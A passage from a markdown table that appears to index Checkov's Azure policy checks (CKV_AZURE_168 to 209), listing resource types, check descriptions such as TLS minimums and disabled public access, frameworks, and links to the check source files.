Microsoft.ContainerService/managedClusters                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Bicep                   | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                                       |\n| 6024 | CKV_AZURE_168            | resource                         | Microsoft.ContainerService/managedClusters/agentPools                                            | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | arm                     | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                                       |\n| 6025 | CKV_AZURE_168            | resource                         | Microsoft.ContainerService/managedClusters/agentPools                                            | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Bicep                   | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                                       |\n| 6026 | CKV_AZURE_168            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Terraform               | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py)                                                                                           |\n| 6027 | CKV_AZURE_168            | resource                         | azurerm_kubernetes_cluster_node_pool                                                             | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Terraform               | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py)                                                                                           |\n| 6028 | CKV_AZURE_169            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                                                                                                               | arm                     | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py)                                                                                               |\n| 6029 | CKV_AZURE_169            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                                                                                                               | Bicep                   | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py)                                                                                               |\n| 6030 | CKV_AZURE_169            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                                                                                                               | Terraform               | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py)                                                                                   |\n| 6031 | CKV_AZURE_170            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that AKS use the Paid Sku for its SLA                                                                                                                                                             | Terraform               | [AKSIsPaidSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSIsPaidSku.py)                                                                                                     |\n| 6032 | CKV_AZURE_171            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS cluster upgrade channel is chosen                                                                                                                                                             | arm                     | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py)                                                                                                       |\n| 6033 | CKV_AZURE_171            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS cluster upgrade channel is chosen                                                                                                                                                             | Bicep                   | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py)                                                                                                       |\n| 6034 | CKV_AZURE_171            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS cluster upgrade channel is chosen                                                                                                                                                             | Terraform               | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py)                                                                                           |\n| 6035 | CKV_AZURE_172            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                                                                                                                 | arm                     | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py)                                                                                             |\n| 6036 | CKV_AZURE_172            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                                                                                                                 | Bicep                   | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py)                                                                                             |\n| 6037 | CKV_AZURE_172            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                                                                                                                 | Terraform               | [AKSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py)                                                                                 |\n| 6038 | CKV_AZURE_173            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure API management uses at least TLS 1.2                                                                                                                                                              | arm                     | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py)                                                                                               |\n| 6039 | CKV_AZURE_173            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure API management uses at least TLS 1.2                                                                                                                                                              | Bicep                   | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py)                                                                                               |\n| 6040 | CKV_AZURE_173            | resource                         | azurerm_api_management                                                                           | Ensure API management uses at least TLS 1.2                                                                                                                                                              | Terraform               | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py)                                                                                   |\n| 6041 | CKV_AZURE_174            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure API management public access is disabled                                                                                                                                                          | arm                     | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py)                                                                                       |\n| 6042 | CKV_AZURE_174            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure API management public access is disabled                                                                                                                                                          | Bicep                   | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py)                                                                                       |\n| 6043 | CKV_AZURE_174            | resource                         | azurerm_api_management                                                                           | Ensure API management public access is disabled                                                                                                                                                          | Terraform               | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py)                                                                           |\n| 6044 | CKV_AZURE_175            | resource                         | Microsoft.SignalRService/webPubSub                                                               | Ensure Web PubSub uses a SKU with an SLA                                                                                                                                                                 | arm                     | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py)                                                                                                                 |\n| 6045 | CKV_AZURE_175            | resource                         | Microsoft.SignalRService/webPubSub                                                               | Ensure Web PubSub uses a SKU with an SLA                                                                                                                                                                 | Bicep                   | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py)                                                                                                                 |\n| 6046 | CKV_AZURE_175            | resource                         | azurerm_web_pubsub                                                                               | Ensure Web PubSub uses a SKU with an SLA                                                                                                                                                                 | Terraform               | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSKUSLA.py)                                                                                                     |\n| 6047 | CKV_AZURE_176            | resource                         | Microsoft.SignalRService/webPubSub                                                               | Ensure Web PubSub uses managed identities to access Azure resources                                                                                                                                      | arm                     | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py)                                                                                               |\n| 6048 | CKV_AZURE_176            | resource                         | Microsoft.SignalRService/webPubSub                                                               | Ensure Web PubSub uses managed identities to access Azure resources                                                                                                                                      | Bicep                   | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py)                                                                                               |\n| 6049 | CKV_AZURE_176            | resource                         | azurerm_web_pubsub                                                                               | Ensure Web PubSub uses managed identities to access Azure resources                                                                                                                                      | Terraform               | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py)                                                                                   |\n| 6050 | CKV_AZURE_177            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure Windows VM enables automatic updates                                                                                                                                                              | arm                     | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                                               |\n| 6051 | CKV_AZURE_177            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure Windows VM enables automatic updates                                                                                                                                                              | Bicep                   | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                                               |\n| 6052 | CKV_AZURE_177            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Windows VM enables automatic updates                                                                                                                                                              | arm                     | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                                               |\n| 6053 | CKV_AZURE_177            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Windows VM enables automatic updates                                                                                                                                                              | Bicep                   | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                                               |\n| 6054 | CKV_AZURE_177            | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure Windows VM enables automatic updates                                                                                                                                                              | Terraform               | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py)                                                                                   |\n| 6055 | CKV_AZURE_177            | resource                         | azurerm_windows_virtual_machine_scale_set                                                        | Ensure Windows VM enables automatic updates                                                                                                                                                              | Terraform               | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py)                                                                                   |\n| 6056 | CKV_AZURE_178            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | arm                     | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                                             |\n| 6057 | CKV_AZURE_178            | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Bicep                   | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                                             |\n| 6058 | CKV_AZURE_178            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | arm                     | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                                             |\n| 6059 | CKV_AZURE_178            | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Bicep                   | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                                             |\n| 6060 | CKV_AZURE_178            | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Terraform               | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py)                                                                                                 |\n| 6061 | CKV_AZURE_178            | resource                         | azurerm_linux_virtual_machine_scale_set                                                          | Ensure linux VM enables SSH with keys for secure communication                                                                                                                                           | Terraform               | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py)                                                                                                 |\n| 6062 | CKV_AZURE_179            | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure VM agent is installed                                                                                                                                                                             | Terraform               | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 6063 | CKV_AZURE_179            | resource                         | azurerm_linux_virtual_machine_scale_set                                                          | Ensure VM agent is installed                                                                                                                                                                             | Terraform               | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 6064 | CKV_AZURE_179            | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure VM agent is installed                                                                                                                                                                             | Terraform               | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 6065 | CKV_AZURE_179            | resource                         | azurerm_windows_virtual_machine_scale_set                                                        | Ensure VM agent is installed                                                                                                                                                                             | Terraform               | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py)                                                                                         |\n| 6066 | CKV_AZURE_180            | resource                         | azurerm_kusto_cluster                                                                            | Ensure that data explorer uses Sku with an SLA                                                                                                                                                           | Terraform               | [DataExplorerSKUHasSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py)                                                                                   |\n| 6067 | CKV_AZURE_181            | resource                         | azurerm_kusto_cluster                                                                            | Ensure that data explorer/Kusto uses managed identities to access Azure resources securely.                                                                                                              | Terraform               | [DataExplorerServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py)                                                                       |\n| 6068 | CKV_AZURE_182            | resource                         | Microsoft.Network/networkInterfaces                                                              | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | arm                     | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                                                   |\n| 6069 | CKV_AZURE_182            | resource                         | Microsoft.Network/networkInterfaces                                                              | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Bicep                   | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                                                   |\n| 6070 | CKV_AZURE_182            | resource                         | Microsoft.Network/virtualNetworks                                                                | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | arm                     | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                                                   |\n| 6071 | CKV_AZURE_182            | resource                         | Microsoft.Network/virtualNetworks                                                                | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Bicep                   | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                                                   |\n| 6072 | CKV_AZURE_182            | resource                         | azurerm_virtual_network                                                                          | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Terraform               | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py)                                                                                       |\n| 6073 | CKV_AZURE_182            | resource                         | azurerm_virtual_network_dns_servers                                                              | Ensure that VNET has at least 2 connected DNS Endpoints                                                                                                                                                  | Terraform               | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py)                                                                                       |\n| 6074 | CKV_AZURE_183            | resource                         | Microsoft.Network/virtualNetworks                                                                | Ensure that VNET uses local DNS addresses                                                                                                                                                                | arm                     | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py)                                                                                                                 |\n| 6075 | CKV_AZURE_183            | resource                         | Microsoft.Network/virtualNetworks                                                                | Ensure that VNET uses local DNS addresses                                                                                                                                                                | Bicep                   | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py)                                                                                                                 |\n| 6076 | CKV_AZURE_183            | resource                         | azurerm_virtual_network                                                                          | Ensure that VNET uses local DNS addresses                                                                                                                                                                | Terraform               | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetLocalDNS.py)                                                                                                     |\n| 6077 | CKV_AZURE_184            | resource                         | azurerm_app_configuration                                                                        | Ensure 'local_auth_enabled' is set to 'False'                                                                                                                                                            | Terraform               | [AppConfigLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py)                                                                                         |\n| 6078 | CKV_AZURE_185            | resource                         | azurerm_app_configuration                                                                        | Ensure 'Public Access' is not Enabled for App configuration                                                                                                                                              | Terraform               | [AppConfigPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py)                                                                                   |\n| 6079 | CKV_AZURE_186            | resource                         | azurerm_app_configuration                                                                        | Ensure App configuration encryption block is set.                                                                                                                                                        | Terraform               | [AppConfigEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigEncryption.py)                                                                                       |\n| 6080 | CKV_AZURE_187            | resource                         | azurerm_app_configuration                                                                        | Ensure App configuration purge protection is enabled                                                                                                                                                     | Terraform               | [AppConfigPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py)                                                                             |\n| 6081 | CKV_AZURE_188            | resource                         | azurerm_app_configuration                                                                        | Ensure App configuration Sku is standard                                                                                                                                                                 | Terraform               | [AppConfigSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigSku.py)                                                                                                     |\n| 6082 | CKV_AZURE_189            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that Azure Key Vault disables public network access                                                                                                                                               | arm                     | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py)                                                                   |\n| 6083 | CKV_AZURE_189            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that Azure Key Vault disables public network access                                                                                                                                               | Bicep                   | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py)                                                                   |\n| 6084 | CKV_AZURE_189            | resource                         | azurerm_key_vault                                                                                | Ensure that Azure Key Vault disables public network access                                                                                                                                               | Terraform               | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py)                                                       |\n| 6085 | CKV_AZURE_190            | resource                         | azurerm_storage_account                                                                          | Ensure that Storage blobs restrict public access                                                                                                                                                         | Terraform               | [StorageBlobRestrictPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py)                                                               |\n| 6086 | CKV_AZURE_191            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                                                                                                              | arm                     | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py)                                                               |\n| 6087 | CKV_AZURE_191            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                                                                                                              | Bicep                   | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py)                                                               |\n| 6088 | CKV_AZURE_191            | resource                         | azurerm_eventgrid_topic                                                                          | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                                                                                                              | Terraform               | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py)                                                   |\n| 6089 | CKV_AZURE_192            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure that Azure Event Grid Topic local Authentication is disabled                                                                                                                                      | arm                     | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py)                                                                       |\n| 6090 | CKV_AZURE_192            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure that Azure Event Grid Topic local Authentication is disabled                                                                                                                                      | Bicep                   | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py)                                                                       |\n| 6091 | CKV_AZURE_192            | resource                         | azurerm_eventgrid_topic                                                                          | Ensure that Azure Event Grid Topic local Authentication is disabled                                                                                                                                      | Terraform               | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py)                                                           |\n| 6092 | CKV_AZURE_193            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure public network access is disabled for Azure Event Grid Topic                                                                                                                                      | arm                     | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py)                                                                                   |\n| 6093 | CKV_AZURE_193            | resource                         | Microsoft.EventGrid/topics                                                                       | Ensure public network access is disabled for Azure Event Grid Topic                                                                                                                                      | Bicep                   | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py)                                                                                   |\n| 6094 | CKV_AZURE_193            | resource                         | azurerm_eventgrid_topic                                                                          | Ensure public network access is disabled for Azure Event Grid Topic                                                                                                                                      | Terraform               | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py)                                                                       |\n| 6095 | CKV_AZURE_194            | resource                         | azurerm_eventgrid_domain                                                                         | Ensure that Managed identity provider is enabled for Azure Event Grid Domain                                                                                                                             | Terraform               | [EventgridDomainIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py)                                                 |\n| 6096 | CKV_AZURE_195            | resource                         | azurerm_eventgrid_domain                                                                         | Ensure that Azure Event Grid Domain local Authentication is disabled                                                                                                                                     | Terraform               | [EventgridDomainLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py)                                                         |\n| 6097 | CKV_AZURE_196            | resource                         | azurerm_signalr_service                                                                          | Ensure that SignalR uses a Paid Sku for its SLA                                                                                                                                                          | Terraform               | [SignalRSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SignalRSKUSLA.py)                                                                                                   |\n| 6098 | CKV_AZURE_197            | resource                         | azurerm_cdn_endpoint                                                                             | Ensure the Azure CDN disables the HTTP endpoint                                                                                                                                                          | Terraform               | [CDNDisableHttpEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py)                                                                               |\n| 6099 | CKV_AZURE_198            | resource                         | azurerm_cdn_endpoint                                                                             | Ensure the Azure CDN enables the HTTPS endpoint                                                                                                                                                          | Terraform               | [CDNEnableHttpsEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py)                                                                               |\n| 6100 | CKV_AZURE_199            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure that Azure Service Bus uses double encryption                                                                                                                                                     | Terraform               | [AzureServicebusDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py)                                                 |\n| 6101 | CKV_AZURE_200            | resource                         | azurerm_cdn_endpoint_custom_domain                                                               | Ensure the Azure CDN endpoint is using the latest version of TLS encryption                                                                                                                              | Terraform               | [CDNTLSProtocol12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py)                                                                                             |\n| 6102 | CKV_AZURE_201            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure that Azure Service Bus uses a customer-managed key to encrypt data                                                                                                                                | Terraform               | [AzureServicebusHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py)                                                                                   |\n| 6103 | CKV_AZURE_202            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure that Managed identity provider is enabled for Azure Service Bus                                                                                                                                   | Terraform               | [AzureServicebusIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py)                                                 |\n| 6104 | CKV_AZURE_203            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure Azure Service Bus Local Authentication is disabled                                                                                                                                                | Terraform               | [AzureServicebusLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py)                                                             |\n| 6105 | CKV_AZURE_204            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure 'public network access enabled' is set to 'False' for Azure Service Bus                                                                                                                           | Terraform               | [AzureServicebusPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py)                                                       |\n| 6106 | CKV_AZURE_205            | resource                         | azurerm_servicebus_namespace                                                                     | Ensure Azure Service Bus is using the latest version of TLS encryption                                                                                                                                   | Terraform               | [AzureServicebusMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py)                                                                     |\n| 6107 | CKV_AZURE_206            | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that Storage Accounts use replication                                                                                                                                                             | arm                     | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py)                                                                               |\n| 6108 | CKV_AZURE_206            | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that Storage Accounts use replication                                                                                                                                                             | Bicep                   | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py)                                                                               |\n| 6109 | CKV_AZURE_206            | resource                         | azurerm_storage_account                                                                          | Ensure that Storage Accounts use replication                                                                                                                                                             | Terraform               | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py)                                                                   |\n| 6110 | CKV_AZURE_207            | resource                         | azurerm_search_service                                                                           | Ensure Azure Cognitive Search service uses managed identities to access Azure resources                                                                                                                  | Terraform               | [AzureSearchManagedIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py)                                                                         |\n| 6111 | CKV_AZURE_208            | resource                         | Microsoft.Search/searchServices                                                                  | Ensure that Azure Cognitive Search maintains SLA for index updates                                                                                                                                       | arm                     | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py)                                                                                                   |\n| 6112 | CKV_AZURE_208            | resource                         | Microsoft.Search/searchServices                                                                  | Ensure that Azure Cognitive Search maintains SLA for index updates                                                                                                                                       | Bicep                   | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py)                                                                                                   |\n| 6113 | CKV_AZURE_208            | resource                         | azurerm_search_service                                                                           | Ensure that Azure Cognitive Search maintains SLA for index updates                                                                                                                                       | Terraform               | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py)                                                                                       |\n| 6114 | CKV_AZURE_209            | resource                         | Microsoft.Search/searchServices                                                                  | Ensure that Azure Cognitive Search maintains SLA for search index queries                                                                                                                                | arm                     | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py)                                                                                     |\n| 6115 | CKV_AZURE_209            | resource                         | Microsoft.Search/searchServices                                                                  | Ensure that Azure Cognitive Search maintains SLA for search index queries                                                                                                                                | Bicep                   | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py)                                                     